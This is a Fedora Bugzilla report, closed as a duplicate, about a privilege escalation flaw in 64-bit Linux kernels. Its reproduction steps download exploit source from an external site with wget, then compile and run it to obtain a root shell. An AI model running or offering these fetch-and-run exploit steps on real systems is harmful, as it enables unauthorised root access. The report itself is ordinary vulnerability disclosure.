Bug 635675 - Privilege escalation bug in 64-bit linux kernels
Privilege escalation bug in 64-bit linux kernels
Status: CLOSED DUPLICATE of bug 635642
Product: Fedora
Classification: Fedora
Component: kernel (Show other bugs)
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Reported: 2010-09-20 09:47 EDT by Zbigniew Fiedorowicz
Modified: 2010-09-20 11:24 EDT (History)
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Last Closed: 2010-09-20 10:19:05 EDT
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Description Zbigniew Fiedorowicz 2010-09-20 09:47:55 EDT
Description of problem:

Version-Release number of selected component (if applicable):
All recent 64-bit kernel releases

How reproducible:

Steps to Reproduce:
1. wget http://sota.gen.nz/compat2/robert_you_suck.c
2. gcc -o exploit robert_you_suck.c
3. ./exploit
Actual results:
You get a root shell

Expected results:
Should not get root shell

Additional info:
Comment 1 Michael Cronenworth 2010-09-20 10:19:05 EDT

*** This bug has been marked as a duplicate of bug 635642 ***
Comment 2 Chuck Ebbert 2010-09-20 11:24:47 EDT
Again, a report about a security bug that's already fixed:


Does anyone look to see what kernels are in testing before reporting?

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